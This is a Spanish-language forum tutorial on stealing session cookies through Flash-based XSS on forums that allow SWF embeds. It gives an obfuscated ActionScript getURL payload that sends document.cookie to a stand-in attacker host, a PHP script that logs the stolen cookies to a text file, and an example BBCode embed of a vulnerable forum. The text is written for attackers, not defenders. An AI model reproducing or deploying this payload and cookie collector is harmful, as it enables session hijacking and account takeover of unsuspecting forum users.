Tutorial Ataque Flash!


Bueno voy a tratar de explicar como podemos generar un tipo de XSS en un sitio que permita la inserción de flash como pueden ser los foros en las firmas o en los post o bien que permitan subir flash al servidor. Este tipo de ataque nos permite saltarnos las protecciones que puedan llegar a tener para que no inserten javascript u otro tipo de codigo malicioso.

Ahora bien que es el XSS es un típico ataque que explota la confianza entre el dueño del contenido y la persona que accede a el. Entoces esto consiste en que cuando ingrese un usuario registrado para ver el contenido (malipulado por un usuario “malicioso”), se le puedan robar el identificador de sesión, o datos personales de este usuario.

Introduccion al ataque Flash

Métodos actuales para evitar el xss

Rechazar todo el código html que sea introducido por el usuario.
Permitir solo tags específicos. Esto es alcanzada generalmente haciendo uso de código especial para representar etiquetas específicas del HTML.
Filtrar o eliminar código Active Scripting del código HTML.

Con esto muchos piensas que sus sitios son seguros pero lo serian, si no permitiesen la inserción de flah en su sito, ya sea por que permiten subir flash a su servidor o bien por que permiten la inserción de flash con links externos, de las dos formas dejan un bug vastante grabe para los usuarios de ese sitio.

El ataque Flash

Macromedia Flash tiene su propio lenguaje de scripting. ActionScript parece muy simple para programadores de JavaScript experimentados ya que utiliza una sintaxis similar a la de JavaScript, C y PERL. Sin embargo este mismo lenguaje se puede utilizar para las animaciones complejas, simulaciones, creación de juegos, etc.
La acción/función que nos interesa a nosotros es
Código:
getURL()
. Esta función nos permite redirigir al usuario a otra pagina web. El parámetro normalmente es una URL, el codigo deberia quedar así:

Código:
getURL('http://aquielsitio.com')
Si usamos JavaScript la URL ahora seria así:

Código:
getURL('javascript:alert(document.cookie)')
El siguiente ejemplo abre un cuadro de alerta JavaScript con la cookie que esta utilizando el usuario en su sesión para ver ese documento Flash.
Seria bueno que el usuario tenga que logease para ver el contenido flash así nos aseguramos que la la seción pertenece a ese sitio.

Eso igualmente no es lo único que se puede hacer, un codigo completo podria ser:

Código:
Mt_1="get";
Mt_2="URL";
Mt_3="javascript:";
Mt_4="c00kie=document.cookie;";
Mt_4+="i=document.createElement('IMG');";
Mt_4+="i.setAttribute('src', 'http://sitowebmalisioso.net/robacookie.php?c='+c00kie);";
eval(Mt_1+Mt_2)(Mt_3+Mt_4);
Ese codigo lo que hace es mandar al usuario a otro sito donde hay un archivo especialmente costruido para robar la seción del usuario o sea la cookie que es la encargada de contenerla.
El codigo que roba la cookie podria ser asi.

robacookie.php

Código:
<?
$cookie = $_GET['c00kie'];
$fff = fopen("archivo.txt","a");
fwrite($fff, "$cookie \n");
fclose($fff);
?>
Lo que hace es tomar tomar el valor c00kie que contiene la cookie del usuario y guardalo en un documento de texto plano que se llama archivo.txt.


Sitio vulnerable y ejemplos

Un sito vulnerable puede ser un foro cualquiera que permita la inseción de flash por medio del BBCode por ejemplo:

Código:
[flash]http://sitoaqui.com/download/example.swf[/flash]
Lo anterior seria interpretado por el script y transformado a:

Código:
<object 
classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" 
width=200 
height=200>
<param 
name=movie 
value=http://sitioaqui.com/download/example.swf>
<param 
name=play 
value=true>
<param 
name=loop 
value=true>
<param name=quality 
value=high>
<embed    
src=http://sitioaqui.com/download/example.swf
width=200 
height=200 
play=true 
loop=true 
quality=high>
</embed>
</object>
Bueno eso es todo, espero que lo hallan estendido, si no me preguntan.


Tutorial por Dokuz


Saludos. V_SvPIN